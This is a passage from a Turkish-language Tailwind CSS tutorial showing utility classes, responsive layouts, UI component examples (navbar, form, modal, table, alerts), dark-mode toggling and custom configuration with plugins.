<p class="text-red-500">Kirmizi metin</p>
<p class="text-green-600">Yesil metin</p>
<!-- Background renkleri -->
<div class="bg-white">Beyaz arka plan</div>
<div class="bg-gray-50">Cok acik gri</div>
<div class="bg-gray-100">Acik gri</div>
<div class="bg-blue-500">Mavi arka plan</div>
<div class="bg-blue-500/75">%75 opak mavi</div>
<!-- Border renkleri -->
<div class="border border-gray-200">Acik gri border</div>
<div class="border-2 border-blue-500">Mavi border</div>
<!-- Ring (focus icin ideal) -->
<input class="ring-2 ring-blue-500 ring-offset-2" />
<!-- Gradient -->
<div class="bg-gradient-to-r from-blue-500 to-purple-500">
Soldan saga gradient
</div>
<div class="bg-gradient-to-br from-pink-500 via-red-500 to-yellow-500">
3 renkli gradient
</div>Tailwind renk paleti: slate, gray, zinc, neutral, stone, red, orange, amber, yellow, lime, green, emerald, teal, cyan, sky, blue, indigo, violet, purple, fuchsia, pink, rose -- her biri 50-950 arasi tonlara sahip.
Typography
<!-- Font boyutu -->
<p class="text-xs">12px</p>
<p class="text-sm">14px</p>
<p class="text-base">16px (varsayilan)</p>
<p class="text-lg">18px</p>
<p class="text-xl">20px</p>
<p class="text-2xl">24px</p>
<p class="text-3xl">30px</p>
<p class="text-4xl">36px</p>
<p class="text-5xl">48px</p>
<!-- Font weight -->
<p class="font-light">300</p>
<p class="font-normal">400</p>
<p class="font-medium">500</p>
<p class="font-semibold">600</p>
<p class="font-bold">700</p>
<p class="font-extrabold">800</p>
<!-- Line height -->
<p class="leading-none">1</p>
<p class="leading-tight">1.25</p>
<p class="leading-normal">1.5</p>
<p class="leading-relaxed">1.625</p>
<p class="leading-loose">2</p>
<!-- Letter spacing -->
<p class="tracking-tighter">-0.05em</p>
<p class="tracking-tight">-0.025em</p>
<p class="tracking-normal">0</p>
<p class="tracking-wide">0.025em</p>
<p class="tracking-wider">0.05em</p>
<p class="tracking-widest">0.1em</p>
<!-- Text hizalama -->
<p class="text-left">Sola</p>
<p class="text-center">Ortaya</p>
<p class="text-right">Saga</p>
<p class="text-justify">Iki yana</p>
<!-- Text decoration -->
<p class="underline">Alti cizili</p>
<p class="line-through">Ustu cizili</p>
<p class="no-underline">Cizgisiz</p>
<!-- Text transform -->
<p class="uppercase">BUYUK HARF</p>
<p class="lowercase">kucuk harf</p>
<p class="capitalize">Bas Harfler Buyuk</p>
<!-- Truncate (tasma) -->
<p class="truncate">Cok uzun metin tek satirda kesilir...</p>
<p class="line-clamp-2">Iki satirda kesilir...</p>
<p class="line-clamp-3">Uc satirda kesilir...</p>Borders
<!-- Border genisligi -->
<div class="border">1px border</div>
<div class="border-2">2px border</div>
<div class="border-4">4px border</div>
<div class="border-t-2">Sadece ust border</div>
<div class="border-b">Sadece alt border</div>
<!-- Border radius -->
<div class="rounded-none">0px</div>
<div class="rounded-sm">2px</div>
<div class="rounded">4px</div>
<div class="rounded-md">6px</div>
<div class="rounded-lg">8px</div>
<div class="rounded-xl">12px</div>
<div class="rounded-2xl">16px</div>
<div class="rounded-full">9999px (daire)</div>
<!-- Tek kose -->
<div class="rounded-t-lg">Ust koseler 8px</div>
<div class="rounded-tl-lg">Sol ust kose 8px</div>
<!-- Border stili -->
<div class="border-solid">Duz cizgi</div>
<div class="border-dashed">Kesikli cizgi</div>
<div class="border-dotted">Noktali cizgi</div>
<!-- Divide (child elementler arasi cizgi) -->
<div class="divide-y divide-gray-200">
<div class="py-3">Item 1</div>
<div class="py-3">Item 2</div>
<div class="py-3">Item 3</div>
</div>Shadows
<div class="shadow-sm">Kucuk golge</div>
<div class="shadow">Normal golge</div>
<div class="shadow-md">Orta golge</div>
<div class="shadow-lg">Buyuk golge</div>
<div class="shadow-xl">Cok buyuk golge</div>
<div class="shadow-2xl">En buyuk golge</div>
<div class="shadow-inner">Ic golge</div>
<div class="shadow-none">Golge yok</div>
<!-- Renkli golge -->
<div class="shadow-lg shadow-blue-500/50">Mavi golge</div>
<div class="shadow-lg shadow-red-500/30">Kirmizi golge</div>Width / Height
<!-- Sabit genislik -->
<div class="w-16">4rem / 64px</div>
<div class="w-32">8rem / 128px</div>
<div class="w-64">16rem / 256px</div>
<!-- Oransal genislik -->
<div class="w-1/2">%50</div>
<div class="w-1/3">%33.33</div>
<div class="w-2/3">%66.66</div>
<div class="w-full">%100</div>
<div class="w-screen">100vw</div>
<div class="w-auto">Otomatik</div>
<!-- Max / Min genislik -->
<div class="max-w-sm">384px</div>
<div class="max-w-md">448px</div>
<div class="max-w-lg">512px</div>
<div class="max-w-xl">576px</div>
<div class="max-w-2xl">672px</div>
<div class="max-w-4xl">896px</div>
<div class="max-w-7xl">1280px</div>
<div class="max-w-full">%100</div>
<div class="min-w-0">0px</div>
<!-- Yukseklik -->
<div class="h-16">4rem / 64px</div>
<div class="h-screen">100vh</div>
<div class="h-full">%100</div>
<div class="min-h-screen">Min 100vh</div>
<div class="max-h-96">Max 24rem</div>
<!-- Aspect ratio -->
<div class="aspect-video">16:9</div>
<div class="aspect-square">1:1</div>9) Tailwind Responsive
Breakpoint Prefix'leri
Tailwind mobile-first yaklasim kullanir. Prefix olmadan yazilan stiller tüm ekranlarda gecerlidir. Prefix ekleyerek o boyut ve ustu için stil tanimlarsiniz.
<!-- Mobil: tek sutun, Tablet: 2 sutun, Desktop: 3 sutun -->
<div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-4">
<div>Card 1</div>
<div>Card 2</div>
<div>Card 3</div>
</div>
<!-- Mobil: gizli, Desktop: gorunur -->
<div class="hidden lg:block">
Sadece desktop'ta gorunur
</div>
<!-- Mobil: gorunur, Desktop: gizli -->
<div class="block lg:hidden">
Sadece mobilde gorunur
</div>
<!-- Responsive padding -->
<div class="p-4 sm:p-6 lg:p-8 xl:p-12">
Ekran buyudukce padding artar
</div>
<!-- Responsive font -->
<h1 class="text-2xl sm:text-3xl lg:text-4xl xl:text-5xl font-bold">
Responsive Baslik
</h1>
<!-- Responsive flex direction -->
<div class="flex flex-col md:flex-row gap-4">
<div class="w-full md:w-1/3">Sidebar</div>
<div class="w-full md:w-2/3">Content</div>
</div>
<!-- Responsive container -->
<div class="mx-auto px-4 sm:px-6 lg:px-8 max-w-7xl">
Centered container
</div>Responsive Ornekler
<!-- Responsive navbar -->
<nav class="flex flex-col sm:flex-row sm:items-center sm:justify-between p-4">
<div class="text-xl font-bold">Logo</div>
<div class="flex flex-col sm:flex-row gap-2 sm:gap-6 mt-4 sm:mt-0">
<a href="#" class="text-gray-600 hover:text-blue-600">Anasayfa</a>
<a href="#" class="text-gray-600 hover:text-blue-600">Hakkinda</a>
<a href="#" class="text-gray-600 hover:text-blue-600">Iletisim</a>
</div>
</nav>
<!-- Responsive hero section -->
<section class="py-12 sm:py-16 lg:py-24 px-4">
<div class="max-w-4xl mx-auto text-center">
<h1 class="text-3xl sm:text-4xl lg:text-6xl font-bold text-gray-900">
Baslik Metni
</h1>
<p class="mt-4 sm:mt-6 text-lg sm:text-xl text-gray-600 max-w-2xl mx-auto">
Aciklama metni burada yer alir.
</p>
<div class="mt-8 flex flex-col sm:flex-row gap-4 justify-center">
<a href="#" class="px-8 py-3 bg-blue-600 text-white rounded-lg">
Baslayalim
</a>
<a href="#" class="px-8 py-3 border border-gray-300 rounded-lg">
Daha Fazla
</a>
</div>
</div>
</section>
<!-- Responsive image + text -->
<div class="flex flex-col lg:flex-row gap-8 items-center p-8">
<img
src="/image.jpg"
alt="Gorsel"
class="w-full lg:w-1/2 rounded-xl object-cover h-64 lg:h-auto"
/>
<div class="w-full lg:w-1/2">
<h2 class="text-2xl lg:text-3xl font-bold">Baslik</h2>
<p class="mt-4 text-gray-600 leading-relaxed">
Icerik metni burada yer alir. Mobilde resim ustte,
desktop'ta yanda gorunur.
</p>
</div>
</div>10) Tailwind Components (Pratik Ornekler)
Card Component
<!-- Basit card -->
<div class="bg-white rounded-xl shadow-md overflow-hidden max-w-sm">
<img
src="/image.jpg"
alt="Card gorseli"
class="w-full h-48 object-cover"
/>
<div class="p-6">
<span class="text-xs font-semibold text-blue-600 uppercase tracking-wide">
Kategori
</span>
<h3 class="mt-2 text-lg font-semibold text-gray-900">
Card Basligi
</h3>
<p class="mt-2 text-gray-600 text-sm leading-relaxed">
Card aciklama metni buraya gelir. Kisa ve oz olmasidir.
</p>
<div class="mt-4 flex items-center justify-between">
<span class="text-sm text-gray-500">3 dk okuma</span>
<a href="#" class="text-blue-600 text-sm font-medium hover:text-blue-800">
Devamini Oku
</a>
</div>
</div>
</div>
<!-- Yatay card (responsive) -->
<div class="flex flex-col sm:flex-row bg-white rounded-xl shadow-md overflow-hidden">
<img
src="/image.jpg"
alt="Card gorseli"
class="w-full sm:w-48 h-48 sm:h-auto object-cover"
/>
<div class="p-6">
<h3 class="text-lg font-semibold text-gray-900">Yatay Card</h3>
<p class="mt-2 text-gray-600 text-sm">
Mobilde dikey, tablet ve ustunde yatay gorunur.
</p>
</div>
</div>Navbar (Responsive - Mobile Hamburger)
<nav class="bg-white shadow-sm">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div class="flex items-center justify-between h-16">
<!-- Logo -->
<div class="flex-shrink-0">
<span class="text-xl font-bold text-gray-900">Logo</span>
</div>
<!-- Desktop menu -->
<div class="hidden md:flex md:items-center md:gap-8">
<a href="#" class="text-gray-700 hover:text-blue-600 font-medium">
Anasayfa
</a>
<a href="#" class="text-gray-700 hover:text-blue-600 font-medium">
Urunler
</a>
<a href="#" class="text-gray-700 hover:text-blue-600 font-medium">
Hakkinda
</a>
<a href="#" class="text-gray-700 hover:text-blue-600 font-medium">
Iletisim
</a>
<a
href="#"
class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700 transition-colors"
>
Giris Yap
</a>
</div>
<!-- Mobile menu button -->
<button
id="mobile-menu-btn"
class="md:hidden p-2 rounded-md text-gray-500 hover:text-gray-700 hover:bg-gray-100"
>
<svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
d="M4 6h16M4 12h16M4 18h16" />
</svg>
</button>
</div>
</div>
<!-- Mobile menu (varsayilan gizli) -->
<div id="mobile-menu" class="hidden md:hidden border-t border-gray-200">
<div class="px-4 py-3 space-y-2">
<a href="#" class="block px-3 py-2 rounded-md text-gray-700 hover:bg-gray-100">
Anasayfa
</a>
<a href="#" class="block px-3 py-2 rounded-md text-gray-700 hover:bg-gray-100">
Urunler
</a>
<a href="#" class="block px-3 py-2 rounded-md text-gray-700 hover:bg-gray-100">
Hakkinda
</a>
<a href="#" class="block px-3 py-2 rounded-md text-gray-700 hover:bg-gray-100">
Iletisim
</a>
<a href="#" class="block px-3 py-2 bg-blue-600 text-white rounded-md text-center">
Giris Yap
</a>
</div>
</div>
</nav>
<script>
const btn = document.getElementById('mobile-menu-btn');
const menu = document.getElementById('mobile-menu');
btn.addEventListener('click', () => {
menu.classList.toggle('hidden');
});
</script>Form (Input, Label, Button, Validation)
<form class="max-w-md mx-auto p-6 bg-white rounded-xl shadow-md space-y-6">
<h2 class="text-2xl font-bold text-gray-900">Kayit Ol</h2>
<!-- Normal input -->
<div>
<label for="name" class="block text-sm font-medium text-gray-700 mb-1">
Ad Soyad
</label>
<input
type="text"
id="name"
placeholder="John Doe"
class="w-full px-4 py-2.5 border border-gray-300 rounded-lg
focus:ring-2 focus:ring-blue-500 focus:border-blue-500
outline-none transition-shadow"
/>
</div>
<!-- Email input -->
<div>
<label for="email" class="block text-sm font-medium text-gray-700 mb-1">
E-posta
</label>
<input
type="email"
id="email"
placeholder="ornek@email.com"
class="w-full px-4 py-2.5 border border-gray-300 rounded-lg
focus:ring-2 focus:ring-blue-500 focus:border-blue-500
outline-none transition-shadow"
/>
</div>
<!-- Error state -->
<div>
<label for="password" class="block text-sm font-medium text-gray-700 mb-1">
Sifre
</label>
<input
type="password"
id="password"
class="w-full px-4 py-2.5 border border-red-300 rounded-lg
focus:ring-2 focus:ring-red-500 focus:border-red-500
outline-none bg-red-50"
/>
<p class="mt-1 text-sm text-red-600">Sifre en az 8 karakter olmalidir.</p>
</div>
<!-- Select -->
<div>
<label for="role" class="block text-sm font-medium text-gray-700 mb-1">
Rol
</label>
<select
id="role"
class="w-full px-4 py-2.5 border border-gray-300 rounded-lg
focus:ring-2 focus:ring-blue-500 focus:border-blue-500
outline-none bg-white"
>
<option value="">Seciniz...</option>
<option value="dev">Gelistirici</option>
<option value="design">Tasarimci</option>
<option value="pm">Proje Yoneticisi</option>
</select>
</div>
<!-- Checkbox -->
<div class="flex items-start gap-2">
<input
type="checkbox"
id="terms"
class="mt-1 w-4 h-4 text-blue-600 border-gray-300 rounded
focus:ring-blue-500"
/>
<label for="terms" class="text-sm text-gray-600">
<a href="#" class="text-blue-600 hover:underline">Kullanim sartlarini</a>
kabul ediyorum.
</label>
</div>
<!-- Submit button -->
<button
type="submit"
class="w-full py-2.5 bg-blue-600 text-white font-medium rounded-lg
hover:bg-blue-700 focus:ring-4 focus:ring-blue-300
transition-colors"
>
Kayit Ol
</button>
</form>Modal
<!-- Overlay + Modal -->
<div id="modal-backdrop"
class="fixed inset-0 z-50 flex items-center justify-center
bg-black/50 backdrop-blur-sm hidden">
<div class="bg-white rounded-xl shadow-2xl w-full max-w-md mx-4
transform transition-all">
<!-- Header -->
<div class="flex items-center justify-between p-6 border-b border-gray-200">
<h3 class="text-lg font-semibold text-gray-900">Modal Basligi</h3>
<button
onclick="closeModal()"
class="p-1 rounded-md text-gray-400 hover:text-gray-600 hover:bg-gray-100"
>
<svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
d="M6 18L18 6M6 6l12 12" />
</svg>
</button>
</div>
<!-- Body -->
<div class="p-6">
<p class="text-gray-600">
Modal icerik metni burada yer alir. Kullaniciya bilgi
vermek veya onay almak icin kullanilir.
</p>
</div>
<!-- Footer -->
<div class="flex justify-end gap-3 p-6 border-t border-gray-200">
<button
onclick="closeModal()"
class="px-4 py-2 text-gray-700 bg-gray-100 rounded-lg
hover:bg-gray-200 transition-colors"
>
Iptal
</button>
<button
class="px-4 py-2 bg-blue-600 text-white rounded-lg
hover:bg-blue-700 transition-colors"
>
Onayla
</button>
</div>
</div>
</div>
<script>
function openModal() {
document.getElementById('modal-backdrop').classList.remove('hidden');
document.body.style.overflow = 'hidden'; // Scroll engelle
}
function closeModal() {
document.getElementById('modal-backdrop').classList.add('hidden');
document.body.style.overflow = ''; // Scroll geri ac
}
</script>Table (Striped, Hover)
<div class="overflow-x-auto rounded-lg border border-gray-200">
<table class="min-w-full divide-y divide-gray-200">
<thead class="bg-gray-50">
<tr>
<th class="px-6 py-3 text-left text-xs font-semibold text-gray-500 uppercase tracking-wider">
Ad
</th>
<th class="px-6 py-3 text-left text-xs font-semibold text-gray-500 uppercase tracking-wider">
E-posta
</th>
<th class="px-6 py-3 text-left text-xs font-semibold text-gray-500 uppercase tracking-wider">
Rol
</th>
<th class="px-6 py-3 text-right text-xs font-semibold text-gray-500 uppercase tracking-wider">
Islem
</th>
</tr>
</thead>
<tbody class="bg-white divide-y divide-gray-200">
<tr class="hover:bg-gray-50 transition-colors">
<td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">
Ahmet Yilmaz
</td>
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">
ahmet@ornek.com
</td>
<td class="px-6 py-4 whitespace-nowrap">
<span class="px-2 py-1 text-xs font-medium bg-green-100 text-green-800 rounded-full">
Admin
</span>
</td>
<td class="px-6 py-4 whitespace-nowrap text-right text-sm">
<button class="text-blue-600 hover:text-blue-800">Duzenle</button>
</td>
</tr>
<tr class="hover:bg-gray-50 transition-colors bg-gray-50/50">
<td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">
Elif Demir
</td>
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">
elif@ornek.com
</td>
<td class="px-6 py-4 whitespace-nowrap">
<span class="px-2 py-1 text-xs font-medium bg-blue-100 text-blue-800 rounded-full">
Editor
</span>
</td>
<td class="px-6 py-4 whitespace-nowrap text-right text-sm">
<button class="text-blue-600 hover:text-blue-800">Duzenle</button>
</td>
</tr>
<tr class="hover:bg-gray-50 transition-colors">
<td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">
Mehmet Kaya
</td>
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">
mehmet@ornek.com
</td>
<td class="px-6 py-4 whitespace-nowrap">
<span class="px-2 py-1 text-xs font-medium bg-gray-100 text-gray-800 rounded-full">
Uye
</span>
</td>
<td class="px-6 py-4 whitespace-nowrap text-right text-sm">
<button class="text-blue-600 hover:text-blue-800">Duzenle</button>
</td>
</tr>
</tbody>
</table>
</div>Button Variants
<!-- Primary -->
<button class="px-4 py-2 bg-blue-600 text-white rounded-lg
hover:bg-blue-700 focus:ring-4 focus:ring-blue-300
font-medium transition-all">
Primary
</button>
<!-- Secondary -->
<button class="px-4 py-2 bg-gray-600 text-white rounded-lg
hover:bg-gray-700 focus:ring-4 focus:ring-gray-300
font-medium transition-all">
Secondary
</button>
<!-- Success -->
<button class="px-4 py-2 bg-green-600 text-white rounded-lg
hover:bg-green-700 focus:ring-4 focus:ring-green-300
font-medium transition-all">
Success
</button>
<!-- Danger -->
<button class="px-4 py-2 bg-red-600 text-white rounded-lg
hover:bg-red-700 focus:ring-4 focus:ring-red-300
font-medium transition-all">
Danger
</button>
<!-- Outline -->
<button class="px-4 py-2 border-2 border-blue-600 text-blue-600 rounded-lg
hover:bg-blue-50 focus:ring-4 focus:ring-blue-300
font-medium transition-all">
Outline
</button>
<!-- Ghost -->
<button class="px-4 py-2 text-blue-600 rounded-lg
hover:bg-blue-50 focus:ring-4 focus:ring-blue-300
font-medium transition-all">
Ghost
</button>
<!-- Disabled -->
<button class="px-4 py-2 bg-blue-600 text-white rounded-lg
font-medium opacity-50 cursor-not-allowed" disabled>
Disabled
</button>
<!-- Loading -->
<button class="px-4 py-2 bg-blue-600 text-white rounded-lg
font-medium flex items-center gap-2" disabled>
<svg class="w-4 h-4 animate-spin" viewBox="0 0 24 24" fill="none">
<circle class="opacity-25" cx="12" cy="12" r="10"
stroke="currentColor" stroke-width="4" />
<path class="opacity-75" fill="currentColor"
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z" />
</svg>
Yukleniyor...
</button>
<!-- Boyutlar -->
<button class="px-2.5 py-1 text-xs bg-blue-600 text-white rounded font-medium">
XS
</button>
<button class="px-3 py-1.5 text-sm bg-blue-600 text-white rounded-md font-medium">
SM
</button>
<button class="px-4 py-2 text-base bg-blue-600 text-white rounded-lg font-medium">
MD
</button>
<button class="px-6 py-3 text-lg bg-blue-600 text-white rounded-lg font-medium">
LG
</button>Badge / Tag
<!-- Badge -->
<span class="px-2.5 py-0.5 text-xs font-medium bg-blue-100 text-blue-800 rounded-full">
Yeni
</span>
<span class="px-2.5 py-0.5 text-xs font-medium bg-green-100 text-green-800 rounded-full">
Aktif
</span>
<span class="px-2.5 py-0.5 text-xs font-medium bg-red-100 text-red-800 rounded-full">
Hata
</span>
<span class="px-2.5 py-0.5 text-xs font-medium bg-yellow-100 text-yellow-800 rounded-full">
Bekliyor
</span>
<span class="px-2.5 py-0.5 text-xs font-medium bg-gray-100 text-gray-800 rounded-full">
Taslak
</span>
<span class="px-2.5 py-0.5 text-xs font-medium bg-purple-100 text-purple-800 rounded-full">
Pro
</span>
<!-- Silinebilir tag -->
<span class="inline-flex items-center gap-1 px-3 py-1 bg-blue-100 text-blue-800
text-sm font-medium rounded-full">
JavaScript
<button class="w-4 h-4 rounded-full hover:bg-blue-200 flex items-center justify-center">
<svg class="w-3 h-3" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
d="M6 18L18 6M6 6l12 12" />
</svg>
</button>
</span>Alert / Notification
<!-- Info alert -->
<div class="p-4 bg-blue-50 border border-blue-200 rounded-lg flex gap-3">
<svg class="w-5 h-5 text-blue-600 flex-shrink-0 mt-0.5" fill="currentColor" viewBox="0 0 20 20">
<path fill-rule="evenodd"
d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z"
clip-rule="evenodd" />
</svg>
<div>
<h4 class="text-sm font-semibold text-blue-800">Bilgi</h4>
<p class="text-sm text-blue-700 mt-1">Bu bir bilgilendirme mesajidir.</p>
</div>
</div>
<!-- Success alert -->
<div class="p-4 bg-green-50 border border-green-200 rounded-lg flex gap-3">
<svg class="w-5 h-5 text-green-600 flex-shrink-0 mt-0.5" fill="currentColor" viewBox="0 0 20 20">
<path fill-rule="evenodd"
d="M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z"
clip-rule="evenodd" />
</svg>
<div>
<h4 class="text-sm font-semibold text-green-800">Basarili</h4>
<p class="text-sm text-green-700 mt-1">Islem basariyla tamamlandi.</p>
</div>
</div>
<!-- Warning alert -->
<div class="p-4 bg-yellow-50 border border-yellow-200 rounded-lg flex gap-3">
<svg class="w-5 h-5 text-yellow-600 flex-shrink-0 mt-0.5" fill="currentColor" viewBox="0 0 20 20">
<path fill-rule="evenodd"
d="M8.257 3.099c.765-1.36 2.722-1.36 3.486 0l5.58 9.92c.75 1.334-.213 2.98-1.742 2.98H4.42c-1.53 0-2.493-1.646-1.743-2.98l5.58-9.92zM11 13a1 1 0 11-2 0 1 1 0 012 0zm-1-8a1 1 0 00-1 1v3a1 1 0 002 0V6a1 1 0 00-1-1z"
clip-rule="evenodd" />
</svg>
<div>
<h4 class="text-sm font-semibold text-yellow-800">Uyari</h4>
<p class="text-sm text-yellow-700 mt-1">Bu islem geri alinamaz.</p>
</div>
</div>
<!-- Error alert -->
<div class="p-4 bg-red-50 border border-red-200 rounded-lg flex gap-3">
<svg class="w-5 h-5 text-red-600 flex-shrink-0 mt-0.5" fill="currentColor" viewBox="0 0 20 20">
<path fill-rule="evenodd"
d="M10 18a8 8 0 100-16 8 8 0 000 16zM8.707 7.293a1 1 0 00-1.414 1.414L8.586 10l-1.293 1.293a1 1 0 101.414 1.414L10 11.414l1.293 1.293a1 1 0 001.414-1.414L11.414 10l1.293-1.293a1 1 0 00-1.414-1.414L10 8.586 8.707 7.293z"
clip-rule="evenodd" />
</svg>
<div>
<h4 class="text-sm font-semibold text-red-800">Hata</h4>
<p class="text-sm text-red-700 mt-1">Bir sorun olustu. Lutfen tekrar deneyin.</p>
</div>
</div>
<!-- Kapatilabilir notification -->
<div id="notification"
class="fixed top-4 right-4 z-50 p-4 bg-white rounded-lg shadow-lg border
border-gray-200 flex items-start gap-3 max-w-sm
transform transition-all duration-300">
<div class="w-8 h-8 bg-green-100 rounded-full flex items-center justify-center flex-shrink-0">
<svg class="w-4 h-4 text-green-600" fill="currentColor" viewBox="0 0 20 20">
<path fill-rule="evenodd"
d="M16.707 5.293a1 1 0 010 1.414l-8 8a1 1 0 01-1.414 0l-4-4a1 1 0 011.414-1.414L8 12.586l7.293-7.293a1 1 0 011.414 0z"
clip-rule="evenodd" />
</svg>
</div>
<div class="flex-1">
<p class="text-sm font-semibold text-gray-900">Kaydedildi</p>
<p class="text-sm text-gray-500 mt-0.5">Degisiklikler basariyla kaydedildi.</p>
</div>
<button onclick="this.closest('#notification').remove()"
class="text-gray-400 hover:text-gray-600">
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
d="M6 18L18 6M6 6l12 12" />
</svg>
</button>
</div>11) Tailwind Dark Mode
Class Strategy (Önerilen)
// tailwind.config.js
module.exports = {
darkMode: 'class', // 'media' yerine 'class' kullanin
// ...
}<!-- html etiketine 'dark' class'i eklendiginde aktif olur -->
<html class="dark">
<body class="bg-white dark:bg-gray-900 text-gray-900 dark:text-gray-100">
...
</body>
</html>Media Strategy
// tailwind.config.js
module.exports = {
darkMode: 'media', // Sistem tercihine gore otomatik
// ...
}Dark Mode Ornekleri
<!-- Card (dark mode destekli) -->
<div class="bg-white dark:bg-gray-800
border border-gray-200 dark:border-gray-700
rounded-xl shadow-md dark:shadow-gray-900/30
p-6 transition-colors">
<h3 class="text-lg font-semibold text-gray-900 dark:text-white">
Card Basligi
</h3>
<p class="mt-2 text-gray-600 dark:text-gray-400">
Aciklama metni burada yer alir.
</p>
<button class="mt-4 px-4 py-2 bg-blue-600 dark:bg-blue-500
text-white rounded-lg
hover:bg-blue-700 dark:hover:bg-blue-600
transition-colors">
Detay
</button>
</div>
<!-- Input (dark mode destekli) -->
<input
type="text"
placeholder="Arama..."
class="w-full px-4 py-2.5
bg-white dark:bg-gray-800
border border-gray-300 dark:border-gray-600
text-gray-900 dark:text-gray-100
placeholder-gray-400 dark:placeholder-gray-500
rounded-lg focus:ring-2 focus:ring-blue-500
outline-none transition-colors"
/>
<!-- Navbar (dark mode destekli) -->
<nav class="bg-white dark:bg-gray-900
border-b border-gray-200 dark:border-gray-800
transition-colors">
<div class="max-w-7xl mx-auto px-4 flex items-center justify-between h-16">
<span class="text-xl font-bold text-gray-900 dark:text-white">Logo</span>
<div class="flex items-center gap-6">
<a href="#" class="text-gray-600 dark:text-gray-300
hover:text-gray-900 dark:hover:text-white">
Anasayfa
</a>
<a href="#" class="text-gray-600 dark:text-gray-300
hover:text-gray-900 dark:hover:text-white">
Hakkinda
</a>
</div>
</div>
</nav>JavaScript Toggle
<!-- Toggle butonu -->
<button
id="theme-toggle"
class="p-2 rounded-lg bg-gray-100 dark:bg-gray-800
text-gray-600 dark:text-gray-300
hover:bg-gray-200 dark:hover:bg-gray-700
transition-colors"
>
<!-- Gunes ikonu (dark modda gorunur) -->
<svg class="w-5 h-5 hidden dark:block" fill="currentColor" viewBox="0 0 20 20">
<path fill-rule="evenodd"
d="M10 2a1 1 0 011 1v1a1 1 0 11-2 0V3a1 1 0 011-1zm4 8a4 4 0 11-8 0 4 4 0 018 0zm-.464 4.95l.707.707a1 1 0 001.414-1.414l-.707-.707a1 1 0 00-1.414 1.414zm2.12-10.607a1 1 0 010 1.414l-.706.707a1 1 0 11-1.414-1.414l.707-.707a1 1 0 011.414 0zM17 11a1 1 0 100-2h-1a1 1 0 100 2h1zm-7 4a1 1 0 011 1v1a1 1 0 11-2 0v-1a1 1 0 011-1zM5.05 6.464A1 1 0 106.465 5.05l-.708-.707a1 1 0 00-1.414 1.414l.707.707zm1.414 8.486l-.707.707a1 1 0 01-1.414-1.414l.707-.707a1 1 0 011.414 1.414zM4 11a1 1 0 100-2H3a1 1 0 000 2h1z"
clip-rule="evenodd" />
</svg>
<!-- Ay ikonu (light modda gorunur) -->
<svg class="w-5 h-5 block dark:hidden" fill="currentColor" viewBox="0 0 20 20">
<path d="M17.293 13.293A8 8 0 016.707 2.707a8.001 8.001 0 1010.586 10.586z" />
</svg>
</button>
<script>
const themeToggle = document.getElementById('theme-toggle');
// Toggle islevi
themeToggle.addEventListener('click', () => {
const html = document.documentElement;
html.classList.toggle('dark');
// localStorage'a kaydet
const isDark = html.classList.contains('dark');
localStorage.setItem('theme', isDark ? 'dark' : 'light');
});
// Sayfa yuklenirken tema tercihini uygula
(function () {
const saved = localStorage.getItem('theme');
const prefersDark = window.matchMedia('(prefers-color-scheme: dark)').matches;
if (saved === 'dark' || (!saved && prefersDark)) {
document.documentElement.classList.add('dark');
}
})();
// Sistem tercihi degisirse dinle
window.matchMedia('(prefers-color-scheme: dark)')
.addEventListener('change', (e) => {
if (!localStorage.getItem('theme')) {
document.documentElement.classList.toggle('dark', e.matches);
}
});
</script>12) Tailwind Custom Config
Theme Extend
// tailwind.config.js
module.exports = {
theme: {
extend: {
// Custom renkler
colors: {
brand: {
50: '#f0f9ff',
100: '#e0f2fe',
200: '#bae6fd',
300: '#7dd3fc',
400: '#38bdf8',
500: '#0ea5e9',
600: '#0284c7',
700: '#0369a1',
800: '#075985',
900: '#0c4a6e',
950: '#082f49',
},
accent: '#f59e0b',
},
// Custom fontlar
fontFamily: {
sans: ['Inter', 'system-ui', '-apple-system', 'sans-serif'],
display: ['Cal Sans', 'Inter', 'sans-serif'],
mono: ['JetBrains Mono', 'Fira Code', 'monospace'],
},
// Custom spacing
spacing: {
'4.5': '1.125rem',
'13': '3.25rem',
'128': '32rem',
'144': '36rem',
},
// Custom border radius
borderRadius: {
'4xl': '2rem',
'5xl': '2.5rem',
},
// Custom keyframes
keyframes: {
'fade-in': {
'0%': { opacity: '0', transform: 'translateY(10px)' },
'100%': { opacity: '1', transform: 'translateY(0)' },
},
'slide-in': {
'0%': { transform: 'translateX(-100%)' },
'100%': { transform: 'translateX(0)' },
},
},
// Custom animasyonlar
animation: {
'fade-in': 'fade-in 0.5s ease-out',
'slide-in': 'slide-in 0.3s ease-out',
},
// Custom box shadow
boxShadow: {
'soft': '0 2px 15px rgba(0, 0, 0, 0.08)',
'glow': '0 0 15px rgba(59, 130, 246, 0.5)',
},
},
},
}Plugins
# Resmi eklentiler
npm install -D @tailwindcss/forms
npm install -D @tailwindcss/typography
npm install -D @tailwindcss/aspect-ratio
npm install -D @tailwindcss/container-queries// tailwind.config.js
module.exports = {
plugins: [
// Form elementlerine varsayilan stiller
require('@tailwindcss/forms'),
// Zengin metin icerigi icin .prose class'i
require('@tailwindcss/typography'),
// Aspect ratio yardimcilari
require('@tailwindcss/aspect-ratio'),
